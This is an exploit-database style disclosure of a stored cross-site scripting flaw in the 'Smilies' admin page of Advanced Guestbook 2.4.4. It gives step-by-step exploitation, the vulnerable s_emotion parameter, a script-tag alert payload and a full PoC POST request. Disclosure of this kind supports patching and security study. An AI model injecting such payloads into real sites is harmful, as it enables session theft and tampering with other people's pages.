# Exploit Title: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS) # Date: 17/08/2021 # Exploit Author: Abdulkadir AYDOGAN # Vendor Homepage: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook # Software Link: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook # Version: 2.4.4 Advanced Guestbook is a free open source guestbook script developed in PHP. Examples of features include email notifications, uploading pictures, html tags handling, multiple polls, comments and themes. #Description The following is PoC to use the XSS bug with authorized user. Firstly there are four part of a emotion object which is : - Emotion icon - Emotion file name - Emotion command which will be used to call this object (s_code) - Emotion description (s_emotion) Here is the exploitation steps for vulnerability: 1. Login to your admin account. 2. Go to "Smilies" tab to view and edit emotion icons 3. Click "edit" text in the "Action" column to edit emotions 4. Change emotion description to Javascript code 5. Click the "Submit Settings" 6. Click "Smilies" tab again to view all emotions and Javascript code will be executed # Vulnerable Parameter Type: POST # Vulnerable Parameter: s_emotion # Attack Pattern: <script>alert("Smile more!")</script> #PoC HTTP Request: POST /advancedguestbook/admin.php HTTP/1.1 Host: HOST_ADDRESS Content-Length: 175 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://HOST_ADDRESS Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://HOST_ADDRESS/advancedguestbook/admin.php?action=smilies&session=17395de9919fffa0ac9476370c2c7ba0&uid=1&edit_smilie=7 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: _ga=GA1.2.2068746825.1621203842; _gid=GA1.2.1432458757.1621203842; _gat=1 Connection: close s_code=:cool:&s_emotion=<script>alert("Smile more!")</script>&edit_smilie=7&uid=1&session=17395de9919fffa0ac9476370c2c7ba0&action=smilies&add_smilies=1